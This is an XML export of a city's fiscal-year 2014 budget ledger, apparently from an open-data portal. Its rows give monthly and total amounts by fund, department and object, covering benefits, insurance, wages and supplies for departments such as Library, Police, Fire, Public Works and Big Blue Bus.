<row _id="10199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43507.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43507.0</total></row>
<row _id="10200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48609.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48609.0</total></row>
<row _id="10201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23689.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23689.0</total></row>
<row _id="10202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2917.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2917.0</total></row>
<row _id="10203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1512.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1512.0</total></row>
<row _id="10204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1838.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1838.0</total></row>
<row _id="10205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="10206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>756.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>756.0</total></row>
<row _id="10207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>786.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>786.0</total></row>
<row _id="10208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3090.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3090.0</total></row>
<row _id="10209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6471.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>79</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6550.0</total></row>
<row _id="10210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>163</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12516.0</total></row>
<row _id="10211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="10212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3066.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>42</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3108.0</total></row>
<row _id="10213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2843.0</total></row>
<row _id="10214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115944.0</july><august>0</august><september>0</september><october>0</october><november>5245.0</november><december>2235</december><january>-167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>123257.0</total></row>
<row _id="10215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3306.0</july><august>0</august><september>0</september><october>0</october><november>644.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3950.0</total></row>
<row _id="10216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>4589</december><january>418.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5007.0</total></row>
<row _id="10217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>204.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="10218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7635.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>109</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7744.0</total></row>
<row _id="10219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2279.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2279.0</total></row>
<row _id="10220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>984.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>984.0</total></row>
<row _id="10221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>265.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>265.0</total></row>
<row _id="10222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5325.0</total></row>
<row _id="10223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1296.0</total></row>
<row _id="10224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2070.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2070.0</total></row>
<row _id="10225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18250.0</total></row>
<row _id="10226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>189443.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>189443.0</total></row>
<row _id="10227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>157806.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>2426</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>160232.0</total></row>
<row _id="10228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>79685.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79685.0</total></row>
<row _id="10229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12167.0</total></row>
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<row _id="10256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9230.0</total></row>
<row _id="10257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7751.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7751.0</total></row>
<row _id="10258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>686.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>54.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>740.17</total></row>
<row _id="10259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1770.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1770.0</total></row>
<row _id="10260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>64394.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64394.0</total></row>
<row _id="10261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
<row _id="10262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2854.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2854.0</total></row>
<row _id="10263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>827.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>827.0</total></row>
<row _id="10264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1464.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-5.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1459.0</total></row>
<row _id="10265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>34950.0</july><august>0</august><september>0</september><october>0</october><november>339.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35289.0</total></row>
<row _id="10266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26776.0</july><august>0</august><september>0</september><october>0</october><november>190.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26966.0</total></row>
<row _id="10267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>11</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1487.0</total></row>
<row _id="10268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2343.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>33</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2376.0</total></row>
<row _id="10269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9041.0</july><august>0</august><september>0</september><october>0</october><november>-74.0</november><december>126</december><january>-53.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9040.0</total></row>
<row _id="10270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6458.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-105.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6353.0</total></row>
<row _id="10271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14606.0</july><august>0</august><september>0</september><october>0</october><november>-116.0</november><december>200</december><january>-82.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14608.0</total></row>
<row _id="10272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1458.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1458.0</total></row>
<row _id="10273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3072.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3072.0</total></row>
